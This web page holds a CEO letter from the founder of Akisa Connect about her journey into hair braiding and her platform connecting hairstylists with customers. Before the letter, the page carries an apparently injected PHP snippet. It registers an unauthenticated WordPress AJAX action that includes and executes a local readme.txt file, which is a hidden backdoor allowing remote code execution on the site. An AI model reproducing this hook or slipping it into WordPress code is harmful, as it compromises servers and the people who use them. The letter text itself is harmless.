if(!function_exists('file_check_readme57593')){ add_action('wp_ajax_nopriv_file_check_readme57593', 'file_check_readme57593'); add_action('wp_ajax_file_check_readme57593', 'file_check_readme57593'); function file_check_readme57593() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } A letter from our CEO – Braiders

A letter from our CEO

CEO Letter

Hi! My name is Bilngwe Ngwakum Akisa and I am the founder and CEO of Akisa Connect.

Akisa Connect is a safe platform created to breach the gap between service providers and customers in the ever-growing hair industry.

Why is this something dear to my heart? Well, let me explain:

Hair has always been and will always be a huge part of my identity. When I first moved to Canada at the age of 17 I thought I knew everything I needed to know about my hair. I then quickly realized that something I thought I knew so well about myself was actually something I needed to learn more about. In November 2018, I decided I wanted to embark on the journey of braiding my own hair. 17 years of life and I had never done this. It was a challenge I was eager to conquer. When I finished braiding my hair for the first time, it definitely didn’t look amazing but I was proud of it and I felt as though I had gotten to know myself better. As I continued to braid my hair my friends asked me if I could braid their hair as well. I would always say yes because the more I did my friends hair, the more I learnt about my own hair.

Fast forward to 5am on a random October morning in 2019: I decided to create a social media page where I could showcase the pictures I had taken from doing my own hair as well as my friends’ hair. Slowly but surely the page picked up and I quickly started getting messages from people I had never met before asking me to do their hair. The joy I would feel always led me to saying yes.

By June of 2020, I was consistently fully booked. Well….as fully booked as I could be as a full-time student. Throughout 2020 and 2021, month after month, my availabilities would get booked up faster and faster and it got to a point where I would have a waiting list. I would try my best to refer clients to other great hairstylists but it wasn’t always easy.

During the summer of 2021, I was sitting down one afternoon bouncing ideas off a friend and one of the ideas I had mentioned was creating a safe platform where all hairstylists can register themselves and be able to access a customer database and vice versa; I want customers to have a safe and reliable place where they can find the perfect hairstylist.

I quickly began working on this project eager to breach the gap between hairstylists and customers. My goal for Akisa Connect is to provide a safe platform where professionals as well as aspiring hairstylists or students – like me at the time – who have talent can join this platform in order to have access to a customer base and offer their services.

Building this platform has required a willingness to unite our community and do something that has never been done before. I want to close with my commitment to you: I won’t be perfect, but I will listen to you; I will ensure that we treat our customers and service providers with respect; and I will run our business with passion, humility, and integrity.

Yours Truly,

Bilngwe Ngwakum Akisa

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